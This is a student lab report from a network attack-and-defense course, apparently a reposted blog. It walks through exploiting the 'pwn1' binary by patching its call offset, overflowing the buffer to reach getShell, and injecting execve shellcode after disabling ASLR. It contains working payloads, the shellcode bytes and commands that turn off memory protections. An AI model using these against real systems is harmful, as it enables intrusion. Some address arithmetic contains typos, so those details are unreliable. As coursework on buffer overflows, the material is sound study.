20212803 2021-2022-2 《网络攻防实践》实践九报告
作者:互联网
20212803 2021-2022-2 《网络攻防实践》实践九报告
1.实践内容
本次实践的内容主要是对名为pwn1的linux文件进行操作。文件的程序执行流程为main调用foo函数,foo函数回显任何用户输入的字符串。此程序还包含getShell代码段,会返回shell,但正常情况是不会被运行的。实践任务就是要运行这个代码段。
实践有如下三个内容:
1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
3.注入一个自己制作的shellcode并运行这段shellcode。
实验要求
1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
2.掌握反汇编与十六进制编程器
3.能正确修改机器指令改变程序执行流程
4.能正确构造payload进行bof攻击
2.实践过程
1.手动修改执行文件
首先在云班课下载pwn1文件,修改文件名,使用命令 objdump -d 2803pwn1 |more 对文件进行反汇编
观察到main函数,getshell函数,和foo函数。在main函数中call为调用函数,EIP的指向为调用函数的地址。此时EIP指向0x08048ba+0xffffffd7=0x08048491 为foo的地址。我们要使EIP指向getshell函数就要修改0xffffffd7,改为0xfffffc3。因为0x08047d-0x080484ba=0xffffffc3。
打开文件转换为16进制命令:%!xxd,查找e8 d7命令/e8 d7,把d7修改为c3,输入:%!xxd -r,转换16进制为原格式即可
2.利用foo函数的Bof漏洞
阅读foo函数的汇编代码,代码功能为输入一个字符串,然后输出此字符串,点并没有检查输入的字符串是否超出缓存空间。所以存在BOF漏洞。观察代码,得出预留的局部空间为0x38,而获得的字符串放在0x1c处,栈存储结构,当字符串长度为36时,第33到36个字节会覆盖EIP中。
使用gdb对pwn1副本2028pwn2调试结果如下所示。说明以上推理正确
通过以上分析,只要将输入字符串的第33-36位设置位getshell的入口地址,实验就可以成功。输入命令
perl -e 'print "ttttttttyyyyyyyyhhhhhhhhtttttttt\x7d\x84\x04\x08\x0a"' > input 形成字符串文件input 输入命令 (cat input; cat) | ./pwn1 即可成功。
3. 注入一个自己制作的shellcode并运行这段shellcode
首先输入如下命令设置状态
命令 execstack -s pwn1 将栈堆设置为可执行的状态
命令 execstack -q pwn1 查看pwn1的栈堆是否为可执行状态
命令 more /proc/sys/kernel/randomize_va_space 查看地址随机化状态
命令 echo "0"> /proc/sys/kernel/randomize_va_space 关闭地址随机化状态
构造需要注入的patload,我们将使用retaddr+nop+shellcode的方法。构造如下结构。
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
其中第33到36字节位覆盖到堆栈上的返回地址的位置。
然后执行命令 (cat input_shellcode;cat) | ./pwn1
接着再开一个进程来gdb来调试pwn1进程。执行命令 ps -ef | grep pwn1。然后找到进程执行调试。
然后我们设置断点break *0x080484ae,使程序再foo返回前停止,查看当前esp的值。
根据dsp的值得出栈顶的值为0x01020304
构造shellcode:32个A+retaddr+nop+shellcode。输入以下命令。实验成功。
perl -e 'print "A" x 32;print "\x70\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\0x00"' > input_shellcode
(cat input_shellcode;cat) | ./pwn1
3.学习中遇到的问题及解决
问题1:命令execstack在kali中没有安装,然而apt-get也无法安装
解决:我参考了别人的博客,更改了安装源。添加下列几行。
deb http://http.kali.org/kali kali-rolling main contrib non-free
deb http://http.kali.org/kali sana main non-free contrib
deb http://security.kali.org/kali-security sana/updates main contrib non-free
deb http://old.kali.org/kali moto main non-free contrib
执行命令 apt-get install execstack 然后就可以安装了
问题二:实验三中调试环节中执行continue命令c后长时间没有反应
解决:查看其他人的方案后得知要在程序运行窗口输入回车符号
4.实践总结
通过本次实验,我学习了基本的汇编语言代码,实践了缓冲区溢出漏洞,加深了对此漏洞的理解。提高了我的动手实践能力。本次实验我还进行了修改机器代码的操作,学会了修改机器的基本方法。所以在今后的编程中,我也会注意此漏洞,提高自己编写的代码的安全性。
参考资料
标签:x90,pwn1,函数,kali,实践,2021,2022,foo,shellcode 来源: https://www.cnblogs.com/t1527/p/16271380.html